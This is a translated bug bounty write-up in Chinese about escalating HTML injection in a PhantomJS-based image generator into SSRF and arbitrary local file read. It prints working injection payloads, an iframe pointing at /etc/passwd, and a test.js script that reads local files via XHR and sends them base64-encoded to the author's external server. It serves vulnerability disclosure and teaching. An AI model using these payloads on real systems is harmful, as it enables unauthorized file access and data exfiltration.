在一次赏金程序中,我碰见这么一个请求,用户输入然后生成图片供下载。过了一会儿,我便把图片内部的XSS升级成服务端的任意文件读取漏洞。因为程序的隐私性,所以我将尽力抹掉敏感信息。

原始请求如下:

https://website/download?background=file.jpg&author=Brett&header=Test&text=&width=500&height=500

请求返回的文件如下:

最开始我执着于background参数,因为background的值是文件名,我认为这个参数看上去是最有意思的。接着在对参数进行了混淆后,我发现header参数存在HTML注入。因为之前阅读过pdf中xss引起严重漏洞的笔记,所以我决定在这一点上进行深入。

请求:

https://website/download?background=file.jpg&author=Brett&header="><u>test&text=&width=500&height=500

返回:

接着我尝试了任意HTML元素,结果非常有意思:基本上所有的html元素(iframe、img、script等灯)都被浏览器解析了。为了获取更多关于是什么在处理html的信息,我决定用自己的服务器作为ssrf目标。

https://website/download?background=file.jpg&author=Brett&header=<iframe src=https://xss.buer.haus/ssrftest></iframe>&text=&width=500&height=500

我自己的服务器端日志记录如下:

[25/Jun/2017:20:31:49 -0400] "GET /ssrftest HTTP/1.1" 404 548 "-" "Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1"

从上面的记录可知,请求字段中的UA字段表明了HTML页面的加载和图像的生成是由无UA头浏览器客户端PhantomJS来完成的。在Phantom方面,我是颇有经验的,因为CTF比赛中经常能碰到,同时我在自己的网络扫描器使用Phantom完成网站截图功能。知道了是PhantomJS处理HTML,这对于漏洞利用来说这是个好消息,因为这解释了我之前尝试利用漏洞时遇到的一些问题。

我遇到的第一个问题是基本的payload总是不能执行。比如说&lt;script&gt;不能正常执行、&lt;img src=x onerror=&gt;不会触发。我记得在100次重定向的尝试中就成功了一次。有些情况下,payload根本不执行。除此之外,在尝试重定向到其他页面时还遇到一些服务器异常的情况。

https://website/download?background=file.jpg&author=Brett&header=<img src="x" onerror="window.location='https://xss.buer.haus/'" />&text=&width=500&height=500

响应:

{"message": "Internal server error"}.

我尝试了大概50种不同类型的payload才意识到真正的问题是PhantomJS存在某种条件竞争。在给我自己的扫描器编写插件时,我遇到过类似的问题。那是在尝试捕捉截图时,Phantom不会等JavaScript完全加载后才渲染图片。

所以我必须想个办法在图片渲染前延缓Phantom以完成我js代码的加载。在尝试了几个想法后,我使用了document.write覆盖了图片内容,同时这个函数似乎解决了上面的问题。但是我不知道原理,只知道它起作用了。

https://website/download?background=file.jpg&author=Brett&header=<img src="x" onerror="document.write('test')" />&text=&width=500&height=500

响应:

这时,只要页面加载,存储型JavaScript就能执行。接下来我需要收集更多关于PhantomJS和代码执行上下文环境的信息。

https://website/download?background=file.jpg&author=Brett&header=<img src="x" onerror="document.write(window.location)" />&text=&width=500&height=500

响应:

上图的结果非常有意思,我们可以知道代码是从file://执行的,同时得知这是/var/task目录下的一个html文件。这时我想通过<iframe>引入文件来检测是否同源。

https://website/download?background=file.jpg&author=Brett&header=<img src="xasdasdasd" onerror="document.write('<iframe src=file:///var/task/[redacted].html></iframe>')"/>&text=&width=500&height=500

现在可以得出结论了,至少/var/task下的任意文件可以被读取,接下来我想看看能否读取其他目录下的文件(比如/etc/目录)

&header=<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>

很尴尬,请求没有返回。

于是我对/var/tasks目录进行了搜索以便获取更多信息,最后发现这可能和AWS Lambda有关。这个发现让我将注意力放在了同目录下的某些文件上(比如/var/task/index.js),这些文件应该包含了Phantom插件的源码。所以我认为在/var/下我能访问的文件内容可能会提供更多信息,至少会有一些值得报告的信息。

理论上使用XHR和Ajax应该能够读取文件内容并在图片中展示或者将内容提取到我的服务器上。但直接通过document.write写入js代码发生了问题,最终我发现可以通过外部脚本来绕过这个问题。

Payload:

&header=<img src="xasdasdasd" onerror="document.write('<script src="https://xss.buer.haus/test.js"></script>')"/>

test.js

function reqListener () {
    var encoded = encodeURI(this.responseText);
    var b64 = btoa(this.responseText);
    var raw = this.responseText;
    document.write('<iframe src="https://xss.buer.haus/exfil?data='+b64+'"></iframe>');
} 
var oReq = new XMLHttpRequest(); 
oReq.addEventListener("load", reqListener); 
oReq.open("GET", "file:///var/task/[redacted].html"); 
oReq.send();

不披露些敏感数据是无法展示战果的,下面这张图仅是你在访问日志里看到的数据。

现在在file://环境下,可以通过带外JavaScript和XHR来读取任意文件来。所以我用脚本再次读取/etc/passwd去检测iframe是否生效。

啊哈哈!当PhantomJS由于某种原因加载&lt;iframe src=&quot;file://&quot;&gt;时,XHR完全可以访问file://的上下文环境(也就是访问任意文件)。

在经历这些后,会发现XSS在最初似乎一点价值都没,但是从XSS到LFI却费了很多力气。这是一次非常奇怪的赏金之旅,感觉就像在CTF中找flag而不是试图利用生产服务器。这次我最大的收获是投入到这场伪CTF挑战赛的那些周末实际上都是值得的。

[Source][http://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/]

源链接

Hacking more

...